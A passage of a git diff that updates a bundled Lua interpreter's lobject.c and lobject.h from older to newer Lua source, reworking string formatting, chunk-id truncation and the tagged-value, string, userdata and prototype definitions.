strchr(fmt, '%'); - if (e == NULL) break; - luaD_checkstack(L, 2); /* fmt + item */ - pushstr(L, fmt, e - fmt); - switch (*(e + 1)) { - case 's': { + BuffFS buff; /* holds last part of the result */ + const char *e; /* points to next '%' */ + buff.pushed = buff.blen = 0; + buff.L = L; + while ((e = strchr(fmt, '%')) != NULL) { + addstr2buff(&buff, fmt, e - fmt); /* add 'fmt' up to '%' */ + switch (*(e + 1)) { /* conversion specifier */ + case 's': { /* zero-terminated string */ const char *s = va_arg(argp, char *); if (s == NULL) s = "(null)"; - pushstr(L, s, strlen(s)); + addstr2buff(&buff, s, strlen(s)); break; } - case 'c': { - char buff; - buff = cast(char, va_arg(argp, int)); - pushstr(L, &buff, 1); + case 'c': { /* an 'int' as a character */ + char c = cast_uchar(va_arg(argp, int)); + addstr2buff(&buff, &c, sizeof(char)); break; } - case 'd': { - setnvalue(L->top++, cast_num(va_arg(argp, int))); + case 'd': { /* an 'int' */ + TValue num; + setivalue(&num, va_arg(argp, int)); + addnum2buff(&buff, &num); break; } - case 'f': { - setnvalue(L->top++, cast_num(va_arg(argp, l_uacNumber))); + case 'I': { /* a 'lua_Integer' */ + TValue num; + setivalue(&num, cast(lua_Integer, va_arg(argp, l_uacInt))); + addnum2buff(&buff, &num); break; } - case 'p': { - char buff[4 * sizeof(void *) + 8]; /* should be enough space for a `%p' */ - int l = snprintf(buff, sizeof(buff), "%p", va_arg(argp, void *)); - pushstr(L, buff, l); + case 'f': { /* a 'lua_Number' */ + TValue num; + setfltvalue(&num, cast_num(va_arg(argp, l_uacNumber))); + addnum2buff(&buff, &num); + break; + } + case 'p': { /* a pointer */ + const int sz = 3 * sizeof(void *) + 8; /* enough space for '%p' */ + char *bf = getbuff(&buff, sz); + void *p = va_arg(argp, void *); + int len = lua_pointer2str(bf, sz, p); + addsize(&buff, len); + break; + } + case 'U': { /* a 'long' as a UTF-8 sequence */ + char bf[UTF8BUFFSZ]; + int len = luaO_utf8esc(bf, va_arg(argp, long)); + addstr2buff(&buff, bf + UTF8BUFFSZ - len, len); break; } case '%': { - pushstr(L, "%", 1); + addstr2buff(&buff, "%", 1); break; } default: { - luaG_runerror(L, - "invalid option " LUA_QL("%%%c") " to " LUA_QL("lua_pushfstring"), + luaG_runerror(L, "invalid option '%%%c' to 'lua_pushfstring'", *(e + 1)); } } - n += 2; - fmt = e + 2; + fmt = e + 2; /* skip '%' and the specifier */ } - luaD_checkstack(L, 1); - pushstr(L, fmt, strlen(fmt)); - if (n > 0) luaV_concat(L, n + 1); - return svalue(L->top - 1); + addstr2buff(&buff, fmt, strlen(fmt)); /* rest of 'fmt' */ + clearbuff(&buff); /* empty buffer into the stack */ + lua_assert(buff.pushed == 1); + return getstr(tsvalue(s2v(L->top.p - 1))); } @@ -248,43 +578,42 @@ const char *luaO_pushfstring(lua_State *L, const char *fmt, ...) { return msg; } +/* }================================================================== */ -/* number of chars of a literal string without the ending \0 */ -#define LL(x) (sizeof(x)/sizeof(char) - 1) -#define RETS "..." -#define PRE "[string \"" -#define POS "\"]" +#define RETS "..." +#define PRE "[string \"" +#define POS "\"]" -#define addstr(a,b,l) ( memcpy(a,b,(l) * sizeof(char)), a += (l) ) +#define addstr(a,b,l) ( memcpy(a,b,(l) * sizeof(char)), a += (l) ) -void luaO_chunkid(char *out, const char *source, size_t bufflen) { - size_t l = strlen(source); +void luaO_chunkid(char *out, const char *source, size_t srclen) { + size_t bufflen = LUA_IDSIZE; /* free space in buffer */ if (*source == '=') { /* 'literal' source */ - if (l <= bufflen) /* small enough? */ - memcpy(out, source + 1, l * sizeof(char)); + if (srclen <= bufflen) /* small enough? */ + memcpy(out, source + 1, srclen * sizeof(char)); else { /* truncate it */ addstr(out, source + 1, bufflen - 1); *out = '\0'; } } else if (*source == '@') { /* file name */ - if (l <= bufflen) /* small enough? */ - memcpy(out, source + 1, l * sizeof(char)); + if (srclen <= bufflen) /* small enough? */ + memcpy(out, source + 1, srclen * sizeof(char)); else { /* add '...' before rest of name */ addstr(out, RETS, LL(RETS)); bufflen -= LL(RETS); - memcpy(out, source + 1 + l - bufflen, bufflen * sizeof(char)); + memcpy(out, source + 1 + srclen - bufflen, bufflen * sizeof(char)); } } else { /* string; format as [string "source"] */ const char *nl = strchr(source, '\n'); /* find first new line (if any) */ addstr(out, PRE, LL(PRE)); /* add prefix */ bufflen -= LL(PRE RETS POS) + 1; /* save space for prefix+suffix+'\0' */ - if (l < bufflen && nl == NULL) { /* small one-line source? */ - addstr(out, source, l); /* keep it */ + if (srclen < bufflen && nl == NULL) { /* small one-line source? */ + addstr(out, source, srclen); /* keep it */ } else { - if (nl != NULL) l = nl - source; /* stop at first newline */ - if (l > bufflen) l = bufflen; - addstr(out, source, l); + if (nl != NULL) srclen = nl - source; /* stop at first newline */ + if (srclen > bufflen) srclen = bufflen; + addstr(out, source, srclen); addstr(out, RETS, LL(RETS)); } memcpy(out, POS, (LL(POS) + 1) * sizeof(char)); diff --git a/client/deps/liblua/lobject.h b/client/deps/liblua/lobject.h index fb8bd03d3..6e335ba94 100644 --- a/client/deps/liblua/lobject.h +++ b/client/deps/liblua/lobject.h @@ -1,5 +1,5 @@ /* -** $Id: lobject.h,v 2.71 2012/09/11 18:21:44 roberto Exp $ +** $Id: lobject.h $ ** Type definitions for Lua objects ** See Copyright Notice in lua.h */ @@ -17,436 +17,504 @@ /* -** Extra tags for non-values +** Extra types for collectable non-values */ -#define LUA_TPROTO LUA_NUMTAGS -#define LUA_TUPVAL (LUA_NUMTAGS+1) -#define LUA_TDEADKEY (LUA_NUMTAGS+2) +#define LUA_TUPVAL LUA_NUMTYPES /* upvalues */ +#define LUA_TPROTO (LUA_NUMTYPES+1) /* function prototypes */ +#define LUA_TDEADKEY (LUA_NUMTYPES+2) /* removed keys in tables */ + + /* -** number of all possible tags (including LUA_TNONE but excluding DEADKEY) +** number of all possible types (including LUA_TNONE but excluding DEADKEY) */ -#define LUA_TOTALTAGS (LUA_TUPVAL+2) +#define LUA_TOTALTYPES (LUA_TPROTO + 2) /* ** tags for Tagged Values have the following use of bits: -** bits 0-3: actual tag (a LUA_T* value) +** bits 0-3: actual tag (a LUA_T* constant) ** bits 4-5: variant bits ** bit 6: whether value is collectable */ -#define VARBITS (3 << 4) - - -/* -** LUA_TFUNCTION variants: -** 0 - Lua function -** 1 - light C function -** 2 - regular C function (closure) -*/ - -/* Variant tags for functions */ -#define LUA_TLCL (LUA_TFUNCTION | (0 << 4)) /* Lua closure */ -#define LUA_TLCF (LUA_TFUNCTION | (1 << 4)) /* light C function */ -#define LUA_TCCL (LUA_TFUNCTION | (2 << 4)) /* C closure */ - - -/* Variant tags for strings */ -#define LUA_TSHRSTR (LUA_TSTRING | (0 << 4)) /* short strings */ -#define LUA_TLNGSTR (LUA_TSTRING | (1 << 4)) /* long strings */ - - -/* Bit mark for collectable types */ -#define BIT_ISCOLLECTABLE (1 << 6) - -/* mark a tag as collectable */ -#define ctb(t) ((t) | BIT_ISCOLLECTABLE) - - -/* -** Union of all collectable objects -*/ -typedef union GCObject GCObject; - - -/* -** Common Header for all collectable objects (in macro form, to be -** included in other objects) -*/ -#define CommonHeader GCObject *next; lu_byte tt; lu_byte marked - - -/* -** Common header in struct form -*/ -typedef struct GCheader { - CommonHeader; -} GCheader; +/* add variant bits to a type */ +#define makevariant(t,v) ((t) | ((v) << 4)) /* ** Union of all Lua values */ -typedef union Value Value; - - -#define numfield lua_Number n; /* numbers */ - +typedef union Value { + struct GCObject *gc; /* collectable objects */ + void *p; /* light userdata */ + lua_CFunction f; /* light C functions */ + lua_Integer i; /* integer numbers */ + lua_Number n; /* float numbers */ + /* not used, but may avoid warnings for uninitialized value */ + lu_byte ub; +} Value; /* -** Tagged Values. This is the basic representation of values in Lua, +** Tagged Values. This is the basic representation of values in Lua: ** an actual value plus a tag with its type. */ -#define TValuefields Value value_; int tt_ +#define TValuefields Value value_; lu_byte tt_ -typedef struct lua_TValue TValue; +typedef struct TValue { + TValuefields; +} TValue; -/* macro defining a nil value */ -#define NILCONSTANT {NULL}, LUA_TNIL - - -#define val_(o) ((o)->value_) -#define num_(o) (val_(o).n) +#define val_(o) ((o)->value_) +#define valraw(o) (val_(o)) /* raw type tag of a TValue */ -#define rttype(o) ((o)->tt_) +#define rawtt(o) ((o)->tt_) /* tag with no variants (bits 0-3) */ -#define novariant(x) ((x) & 0x0F) +#define novariant(t) ((t) & 0x0F) /* type tag of a TValue (bits 0-3 for tags + variant bits 4-5) */ -#define ttype(o) (rttype(o) & 0x3F) +#define withvariant(t) ((t) & 0x3F) +#define ttypetag(o) withvariant(rawtt(o)) -/* type tag of a TValue with no variants (bits 0-3) */ -#define ttypenv(o) (novariant(rttype(o))) +/* type of a TValue */ +#define ttype(o) (novariant(rawtt(o))) /* Macros to test type */ -#define checktag(o,t) (rttype(o) == (t)) -#define checktype(o,t) (ttypenv(o) == (t)) -#define ttisnumber(o) checktag((o), LUA_TNUMBER) -#define ttisnil(o) checktag((o), LUA_TNIL) -#define ttisboolean(o) checktag((o), LUA_TBOOLEAN) -#define ttislightuserdata(o) checktag((o), LUA_TLIGHTUSERDATA) -#define ttisstring(o) checktype((o), LUA_TSTRING) -#define ttisshrstring(o) checktag((o), ctb(LUA_TSHRSTR)) -#define ttislngstring(o) checktag((o), ctb(LUA_TLNGSTR)) -#define ttistable(o) checktag((o), ctb(LUA_TTABLE)) -#define ttisfunction(o) checktype(o, LUA_TFUNCTION) -#define ttisclosure(o) ((rttype(o) & 0x1F) == LUA_TFUNCTION) -#define ttisCclosure(o) checktag((o), ctb(LUA_TCCL)) -#define ttisLclosure(o) checktag((o), ctb(LUA_TLCL)) -#define ttislcf(o) checktag((o), LUA_TLCF) -#define ttisuserdata(o) checktag((o), ctb(LUA_TUSERDATA)) -#define ttisthread(o) checktag((o), ctb(LUA_TTHREAD)) -#define ttisdeadkey(o) checktag((o), LUA_TDEADKEY) - -#define ttisequal(o1,o2) (rttype(o1) == rttype(o2)) - -/* Macros to access values */ -#define nvalue(o) check_exp(ttisnumber(o), num_(o)) -#define gcvalue(o) check_exp(iscollectable(o), val_(o).gc) -#define pvalue(o) check_exp(ttislightuserdata(o), val_(o).p) -#define rawtsvalue(o) check_exp(ttisstring(o), &val_(o).gc->ts) -#define tsvalue(o) (&rawtsvalue(o)->tsv) -#define rawuvalue(o) check_exp(ttisuserdata(o), &val_(o).gc->u) -#define uvalue(o) (&rawuvalue(o)->uv) -#define clvalue(o) check_exp(ttisclosure(o), &val_(o).gc->cl) -#define clLvalue(o) check_exp(ttisLclosure(o), &val_(o).gc->cl.l) -#define clCvalue(o) check_exp(ttisCclosure(o), &val_(o).gc->cl.c) -#define fvalue(o) check_exp(ttislcf(o), val_(o).f) -#define hvalue(o) check_exp(ttistable(o), &val_(o).gc->h) -#define bvalue(o) check_exp(ttisboolean(o), val_(o).b) -#define thvalue(o) check_exp(ttisthread(o), &val_(o).gc->th) -/* a dead value may get the 'gc' field, but cannot access its contents */ -#define deadvalue(o) check_exp(ttisdeadkey(o), cast(void *, val_(o).gc)) - -#define l_isfalse(o) (ttisnil(o) || (ttisboolean(o) && bvalue(o) == 0)) - - -#define iscollectable(o) (rttype(o) & BIT_ISCOLLECTABLE) +#define checktag(o,t) (rawtt(o) == (t)) +#define checktype(o,t) (ttype(o) == (t)) /* Macros for internal tests */ -#define righttt(obj) (ttype(obj) == gcvalue(obj)->gch.tt) -#define checkliveness(g,obj) \ - lua_longassert(!iscollectable(obj) || \ - (righttt(obj) && !isdead(g,gcvalue(obj)))) +/* collectable object has the same tag as the original value */ +#define righttt(obj) (ttypetag(obj) == gcvalue(obj)->tt) + +/* +** Any value being manipulated by the program either is non +** collectable, or the collectable object has the right tag +** and it is not dead. The option 'L == NULL' allows other +** macros using this one to be used where L is not available. +*/ +#define checkliveness(L,obj) \ + ((void)L, lua_longassert(!iscollectable(obj) || \ + (righttt(obj) && (L == NULL || !isdead(G(L),gcvalue(obj)))))) /* Macros to set values */ -#define settt_(o,t) ((o)->tt_=(t)) -#define setnvalue(obj,x) \ - { TValue *io=(obj); num_(io)=(x); settt_(io, LUA_TNUMBER); } +/* set a value's tag */ +#define settt_(o,t) ((o)->tt_=(t)) -#define setnilvalue(obj) settt_(obj, LUA_TNIL) -#define setfvalue(obj,x) \ - { TValue *io=(obj); val_(io).f=(x); settt_(io, LUA_TLCF); } +/* main macro to copy values (from 'obj2' to 'obj1') */ +#define setobj(L,obj1,obj2) \ + { TValue *io1=(obj1); const TValue *io2=(obj2); \ + io1->value_ = io2->value_; settt_(io1, io2->tt_); \ + checkliveness(L,io1); lua_assert(!isnonstrictnil(io1)); } -#define setpvalue(obj,x) \ - { TValue *io=(obj); val_(io).p=(x); settt_(io, LUA_TLIGHTUSERDATA); } +/* +** Different types of assignments, according to source and destination. +** (They are mostly equal now, but may be different in the future.) +*/ -#define setbvalue(obj,x) \ - { TValue *io=(obj); val_(io).b=(x); settt_(io, LUA_TBOOLEAN); } +/* from stack to stack */ +#define setobjs2s(L,o1,o2) setobj(L,s2v(o1),s2v(o2)) +/* to stack (not from same stack) */ +#define setobj2s(L,o1,o2) setobj(L,s2v(o1),o2) +/* from table to same table */ +#define setobjt2t setobj +/* to new object */ +#define setobj2n setobj +/* to table */ +#define setobj2t setobj -#define setgcovalue(L,obj,x) \ - { TValue *io=(obj); GCObject *i_g=(x); \ - val_(io).gc=i_g; settt_(io, ctb(gch(i_g)->tt)); } -#define setsvalue(L,obj,x) \ - { TValue *io=(obj); \ - TString *x_ = (x); \ - val_(io).gc=cast(GCObject *, x_); settt_(io, ctb(x_->tsv.tt)); \ - checkliveness(G(L),io); } +/* +** Entries in a Lua stack. Field 'tbclist' forms a list of all +** to-be-closed variables active in this stack. Dummy entries are +** used when the distance between two tbc variables does not fit +** in an unsigned short. They are represented by delta==0, and +** their real delta is always the maximum value that fits in +** that field. +*/ +typedef union StackValue { + TValue val; + struct { + TValuefields; + unsigned short delta; + } tbclist; +} StackValue; -#define setuvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TUSERDATA)); \ - checkliveness(G(L),io); } + +/* index to stack elements */ +typedef StackValue *StkId; + + +/* +** When reallocating the stack, change all pointers to the stack into +** proper offsets. +*/ +typedef union { + StkId p; /* actual pointer */ + ptrdiff_t offset; /* used while the stack is being reallocated */ +} StkIdRel; + + +/* convert a 'StackValue' to a 'TValue' */ +#define s2v(o) (&(o)->val) + + + +/* +** {================================================================== +** Nil +** =================================================================== +*/ + +/* Standard nil */ +#define LUA_VNIL makevariant(LUA_TNIL, 0) + +/* Empty slot (which might be different from a slot containing nil) */ +#define LUA_VEMPTY makevariant(LUA_TNIL, 1) + +/* Value returned for a key not found in a table (absent key) */ +#define LUA_VABSTKEY makevariant(LUA_TNIL, 2) + + +/* macro to test for (any kind of) nil */ +#define ttisnil(v) checktype((v), LUA_TNIL) + + +/* macro to test for a standard nil */ +#define ttisstrictnil(o) checktag((o), LUA_VNIL) + + +#define setnilvalue(obj) settt_(obj, LUA_VNIL) + + +#define isabstkey(v) checktag((v), LUA_VABSTKEY) + + +/* +** macro to detect non-standard nils (used only in assertions) +*/ +#define isnonstrictnil(v) (ttisnil(v) && !ttisstrictnil(v)) + + +/* +** By default, entries with any kind of nil are considered empty. +** (In any definition, values associated with absent keys must also +** be accepted as empty.) +*/ +#define isempty(v) ttisnil(v) + + +/* macro defining a value corresponding to an absent key */ +#define ABSTKEYCONSTANT {NULL}, LUA_VABSTKEY + + +/* mark an entry as empty */ +#define setempty(v) settt_(v, LUA_VEMPTY) + + + +/* }================================================================== */ + + +/* +** {================================================================== +** Booleans +** =================================================================== +*/ + + +#define LUA_VFALSE makevariant(LUA_TBOOLEAN, 0) +#define LUA_VTRUE makevariant(LUA_TBOOLEAN, 1) + +#define ttisboolean(o) checktype((o), LUA_TBOOLEAN) +#define ttisfalse(o) checktag((o), LUA_VFALSE) +#define ttistrue(o) checktag((o), LUA_VTRUE) + + +#define l_isfalse(o) (ttisfalse(o) || ttisnil(o)) + + +#define setbfvalue(obj) settt_(obj, LUA_VFALSE) +#define setbtvalue(obj) settt_(obj, LUA_VTRUE) + +/* }================================================================== */ + + +/* +** {================================================================== +** Threads +** =================================================================== +*/ + +#define LUA_VTHREAD makevariant(LUA_TTHREAD, 0) + +#define ttisthread(o) checktag((o), ctb(LUA_VTHREAD)) + +#define thvalue(o) check_exp(ttisthread(o), gco2th(val_(o).gc)) #define setthvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TTHREAD)); \ - checkliveness(G(L),io); } + { TValue *io = (obj); lua_State *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(LUA_VTHREAD)); \ + checkliveness(L,io); } -#define setclLvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TLCL)); \ - checkliveness(G(L),io); } +#define setthvalue2s(L,o,t) setthvalue(L,s2v(o),t) -#define setclCvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TCCL)); \ - checkliveness(G(L),io); } - -#define sethvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TTABLE)); \ - checkliveness(G(L),io); } - -#define setdeadvalue(obj) settt_(obj, LUA_TDEADKEY) - - - -#define setobj(L,obj1,obj2) \ - { const TValue *io2=(obj2); TValue *io1=(obj1); \ - io1->value_ = io2->value_; io1->tt_ = io2->tt_; \ - checkliveness(G(L),io1); } +/* }================================================================== */ /* -** different types of assignments, according to destination +** {================================================================== +** Collectable Objects +** =================================================================== */ -/* from stack to (same) stack */ -#define setobjs2s setobj -/* to stack (not from same stack) */ -#define setobj2s setobj -#define setsvalue2s setsvalue -#define sethvalue2s sethvalue -#define setptvalue2s setptvalue -/* from table to same table */ -#define setobjt2t setobj -/* to table */ -#define setobj2t setobj -/* to new object */ -#define setobj2n setobj -#define setsvalue2n setsvalue +/* +** Common Header for all collectable objects (in macro form, to be +** included in other objects) +*/ +#define CommonHeader struct GCObject *next; lu_byte tt; lu_byte marked -/* check whether a number is valid (useful only for NaN trick) */ -#define luai_checknum(L,o,c) { /* empty */ } +/* Common type for all collectable objects */ +typedef struct GCObject { + CommonHeader; +} GCObject; + + +/* Bit mark for collectable types */ +#define BIT_ISCOLLECTABLE (1 << 6) + +#define iscollectable(o) (rawtt(o) & BIT_ISCOLLECTABLE) + +/* mark a tag as collectable */ +#define ctb(t) ((t) | BIT_ISCOLLECTABLE) + +#define gcvalue(o) check_exp(iscollectable(o), val_(o).gc) + +#define gcvalueraw(v) ((v).gc) + +#define setgcovalue(L,obj,x) \ + { TValue *io = (obj); GCObject *i_g=(x); \ + val_(io).gc = i_g; settt_(io, ctb(i_g->tt)); } + +/* }================================================================== */ /* -** {====================================================== -** NaN Trick -** ======================================================= -*/ -#if defined(LUA_NANTRICK) - -/* -** numbers are represented in the 'd_' field. All other values have the -** value (NNMARK | tag) in 'tt__'. A number with such pattern would be -** a "signaled NaN", which is never generated by regular operations by -** the CPU (nor by 'strtod') +** {================================================================== +** Numbers +** =================================================================== */ -/* allows for external implementation for part of the trick */ -#if !defined(NNMARK) /* { */ +/* Variant tags for numbers */ +#define LUA_VNUMINT makevariant(LUA_TNUMBER, 0) /* integer numbers */ +#define LUA_VNUMFLT makevariant(LUA_TNUMBER, 1) /* float numbers */ +#define ttisnumber(o) checktype((o), LUA_TNUMBER) +#define ttisfloat(o) checktag((o), LUA_VNUMFLT) +#define ttisinteger(o) checktag((o), LUA_VNUMINT) -#if !defined(LUA_IEEEENDIAN) -#error option 'LUA_NANTRICK' needs 'LUA_IEEEENDIAN' -#endif +#define nvalue(o) check_exp(ttisnumber(o), \ + (ttisinteger(o) ? cast_num(ivalue(o)) : fltvalue(o))) +#define fltvalue(o) check_exp(ttisfloat(o), val_(o).n) +#define ivalue(o) check_exp(ttisinteger(o), val_(o).i) +#define fltvalueraw(v) ((v).n) +#define ivalueraw(v) ((v).i) -#define NNMARK 0x7FF7A500 -#define NNMASK 0x7FFFFF00 +#define setfltvalue(obj,x) \ + { TValue *io=(obj); val_(io).n=(x); settt_(io, LUA_VNUMFLT); } -#undef TValuefields -#undef NILCONSTANT +#define chgfltvalue(obj,x) \ + { TValue *io=(obj); lua_assert(ttisfloat(io)); val_(io).n=(x); } -#if (LUA_IEEEENDIAN == 0) /* { */ +#define setivalue(obj,x) \ + { TValue *io=(obj); val_(io).i=(x); settt_(io, LUA_VNUMINT); } -/* little endian */ -#define TValuefields \ - union { struct { Value v__; int tt__; } i; double d__; } u -#define NILCONSTANT {{{NULL}, tag2tt(LUA_TNIL)}} -/* field-access macros */ -#define v_(o) ((o)->u.i.v__) -#define d_(o) ((o)->u.d__) -#define tt_(o) ((o)->u.i.tt__) +#define chgivalue(obj,x) \ + { TValue *io=(obj); lua_assert(ttisinteger(io)); val_(io).i=(x); } -#else /* }{ */ - -/* big endian */ -#define TValuefields \ - union { struct { int tt__; Value v__; } i; double d__; } u -#define NILCONSTANT {{tag2tt(LUA_TNIL), {NULL}}} -/* field-access macros */ -#define v_(o) ((o)->u.i.v__) -#define d_(o) ((o)->u.d__) -#define tt_(o) ((o)->u.i.tt__) - -#endif /* } */ - -#endif /* } */ - - -/* correspondence with standard representation */ -#undef val_ -#define val_(o) v_(o) -#undef num_ -#define num_(o) d_(o) - - -#undef numfield -#define numfield /* no such field; numbers are the entire struct */ - -/* basic check to distinguish numbers from non-numbers */ -#undef ttisnumber -#define ttisnumber(o) ((tt_(o) & NNMASK) != NNMARK) - -#define tag2tt(t) (NNMARK | (t)) - -#undef rttype -#define rttype(o) (ttisnumber(o) ? LUA_TNUMBER : tt_(o) & 0xff) - -#undef settt_ -#define settt_(o,t) (tt_(o) = tag2tt(t)) - -#undef setnvalue -#define setnvalue(obj,x) \ - { TValue *io_=(obj); num_(io_)=(x); lua_assert(ttisnumber(io_)); } - -#undef setobj -#define setobj(L,obj1,obj2) \ - { const TValue *o2_=(obj2); TValue *o1_=(obj1); \ - o1_->u = o2_->u; \ - checkliveness(G(L),o1_); } +/* }================================================================== */ /* -** these redefinitions are not mandatory, but these forms are more efficient +** {================================================================== +** Strings +** =================================================================== */ -#undef checktag -#undef checktype -#define checktag(o,t) (tt_(o) == tag2tt(t)) -#define checktype(o,t) (ctb(tt_(o) | VARBITS) == ctb(tag2tt(t) | VARBITS)) +/* Variant tags for strings */ +#define LUA_VSHRSTR makevariant(LUA_TSTRING, 0) /* short strings */ +#define LUA_VLNGSTR makevariant(LUA_TSTRING, 1) /* long strings */ -#undef ttisequal -#define ttisequal(o1,o2) \ - (ttisnumber(o1) ? ttisnumber(o2) : (tt_(o1) == tt_(o2))) +#define ttisstring(o) checktype((o), LUA_TSTRING) +#define ttisshrstring(o) checktag((o), ctb(LUA_VSHRSTR)) +#define ttislngstring(o) checktag((o), ctb(LUA_VLNGSTR)) +#define tsvalueraw(v) (gco2ts((v).gc)) -#undef luai_checknum -#define luai_checknum(L,o,c) { if (!ttisnumber(o)) c; } +#define tsvalue(o) check_exp(ttisstring(o), gco2ts(val_(o).gc)) -#endif -/* }====================================================== */ +#define setsvalue(L,obj,x) \ + { TValue *io = (obj); TString *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(x_->tt)); \ + checkliveness(L,io); } +/* set a string to the stack */ +#define setsvalue2s(L,o,s) setsvalue(L,s2v(o),s) + +/* set a string to a new object */ +#define setsvalue2n setsvalue /* -** {====================================================== -** types and prototypes -** ======================================================= +** Header for a string value. */ - - -union Value { - GCObject *gc; /* collectable objects */ - void *p; /* light userdata */ - int b; /* booleans */ - lua_CFunction f; /* light C functions */ - numfield /* numbers */ -}; - - -struct lua_TValue { - TValuefields; -}; - - -typedef TValue *StkId; /* index to stack elements */ - - - - -/* -** Header for string value; string bytes follow the end of this structure -*/ -typedef union TString { - L_Umaxalign dummy; /* ensures maximum alignment for strings */ - struct { - CommonHeader; - lu_byte extra; /* reserved words for short strings; "has hash" for longs */ - unsigned int hash; - size_t len; /* number of characters in string */ - } tsv; +typedef struct TString { + CommonHeader; + lu_byte extra; /* reserved words for short strings; "has hash" for longs */ + lu_byte shrlen; /* length for short strings, 0xFF for long strings */ + unsigned int hash; + union { + size_t lnglen; /* length for long strings */ + struct TString *hnext; /* linked list for hash table */ + } u; + char contents[1]; } TString; -/* get the actual string (array of bytes) from a TString */ -#define getstr(ts) cast(const char *, (ts) + 1) -/* get the actual string (array of bytes) from a Lua value */ -#define svalue(o) getstr(rawtsvalue(o)) +/* +** Get the actual string (array of bytes) from a 'TString'. (Generic +** version and specialized versions for long and short strings.) +*/ +#define getstr(ts) ((ts)->contents) +#define getlngstr(ts) check_exp((ts)->shrlen == 0xFF, (ts)->contents) +#define getshrstr(ts) check_exp((ts)->shrlen != 0xFF, (ts)->contents) + + +/* get string length from 'TString *s' */ +#define tsslen(s) \ + ((s)->shrlen != 0xFF ? (s)->shrlen : (s)->u.lnglen) + +/* }================================================================== */ /* -** Header for userdata; memory area follows the end of this structure +** {================================================================== +** Userdata +** =================================================================== */ -typedef union Udata { - L_Umaxalign dummy; /* ensures maximum alignment for `local' udata */ - struct { - CommonHeader; - struct Table *metatable; - struct Table *env; - size_t len; /* number of bytes */ - } uv; + + +/* +** Light userdata should be a variant of userdata, but for compatibility +** reasons they are also different types. +*/ +#define LUA_VLIGHTUSERDATA makevariant(LUA_TLIGHTUSERDATA, 0) + +#define LUA_VUSERDATA makevariant(LUA_TUSERDATA, 0) + +#define ttislightuserdata(o) checktag((o), LUA_VLIGHTUSERDATA) +#define ttisfulluserdata(o) checktag((o), ctb(LUA_VUSERDATA)) + +#define pvalue(o) check_exp(ttislightuserdata(o), val_(o).p) +#define uvalue(o) check_exp(ttisfulluserdata(o), gco2u(val_(o).gc)) + +#define pvalueraw(v) ((v).p) + +#define setpvalue(obj,x) \ + { TValue *io=(obj); val_(io).p=(x); settt_(io, LUA_VLIGHTUSERDATA); } + +#define setuvalue(L,obj,x) \ + { TValue *io = (obj); Udata *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(LUA_VUSERDATA)); \ + checkliveness(L,io); } + + +/* Ensures that addresses after this type are always fully aligned. */ +typedef union UValue { + TValue uv; + LUAI_MAXALIGN; /* ensures maximum alignment for udata bytes */ +} UValue; + + +/* +** Header for userdata with user values; +** memory area follows the end of this structure. +*/ +typedef struct Udata { + CommonHeader; + unsigned short nuvalue; /* number of user values */ + size_t len; /* number of bytes */ + struct Table *metatable; + GCObject *gclist; + UValue uv[1]; /* user values */ } Udata; +/* +** Header for userdata with no user values. These userdata do not need +** to be gray during GC, and therefore do not need a 'gclist' field. +** To simplify, the code always use 'Udata' for both kinds of userdata, +** making sure it never accesses 'gclist' on userdata with no user values. +** This structure here is used only to compute the correct size for +** this representation. (The 'bindata' field in its end ensures correct +** alignment for binary data following this header.) +*/ +typedef struct Udata0 { + CommonHeader; + unsigned short nuvalue; /* number of user values */ + size_t len; /* number of bytes */ + struct Table *metatable; + union {LUAI_MAXALIGN;} bindata; +} Udata0; + + +/* compute the offset of the memory area of a userdata */ +#define udatamemoffset(nuv) \ + ((nuv) == 0 ? offsetof(Udata0, bindata) \ + : offsetof(Udata, uv) + (sizeof(UValue) * (nuv))) + +/* get the address of the memory block inside 'Udata' */ +#define getudatamem(u) (cast_charp(u) + udatamemoffset((u)->nuvalue)) + +/* compute the size of a userdata */ +#define sizeudata(nuv,nb) (udatamemoffset(nuv) + (nb)) + +/* }================================================================== */ + + +/* +** {================================================================== +** Prototypes +** =================================================================== +*/ + +#define LUA_VPROTO makevariant(LUA_TPROTO, 0) + /* ** Description of an upvalue for function prototypes */ typedef struct Upvaldesc { TString *name; /* upvalue name (for debug information) */ - lu_byte instack; /* whether it is in stack */ + lu_byte instack; /* whether it is in stack (register) */ lu_byte idx; /* index of upvalue (in stack or in outer function's list) */ + lu_byte kind; /* kind of corresponding variable */ } Upvaldesc; @@ -461,57 +529,120 @@ typedef struct LocVar { } LocVar; +/* +** Associates the absolute line source for a given instruction ('pc'). +** The array 'lineinfo' gives, for each instruction, the difference in +** lines from the previous instruction. When that difference does not +** fit into a byte, Lua saves the absolute line for that instruction. +** (Lua also saves the absolute line periodically, to speed up the +** computation of a line number: we can use binary search in the +** absolute-line array, but we must traverse the 'lineinfo' array +** linearly to compute a line.) +*/ +typedef struct AbsLineInfo { + int pc; + int line; +} AbsLineInfo; + /* ** Function Prototypes */ typedef struct Proto { CommonHeader; - TValue *k; /* constants used by the function */ - Instruction *code; - struct Proto **p; /* functions defined inside the function */ - int *lineinfo; /* map from opcodes to source lines (debug information) */ - LocVar *locvars; /* information about local variables (debug information) */ - Upvaldesc *upvalues; /* upvalue information */ - union Closure *cache; /* last created closure with this prototype */ - TString *source; /* used for debug information */ + lu_byte numparams; /* number of fixed (named) parameters */ + lu_byte is_vararg; + lu_byte maxstacksize; /* number of registers needed by this function */ int sizeupvalues; /* size of 'upvalues' */ - int sizek; /* size of `k' */ + int sizek; /* size of 'k' */ int sizecode; int sizelineinfo; - int sizep; /* size of `p' */ + int sizep; /* size of 'p' */ int sizelocvars; - int linedefined; - int lastlinedefined; + int sizeabslineinfo; /* size of 'abslineinfo' */ + int linedefined; /* debug information */ + int lastlinedefined; /* debug information */ + TValue *k; /* constants used by the function */ + Instruction *code; /* opcodes */ + struct Proto **p; /* functions defined inside the function */ + Upvaldesc *upvalues; /* upvalue information */ + ls_byte *lineinfo; 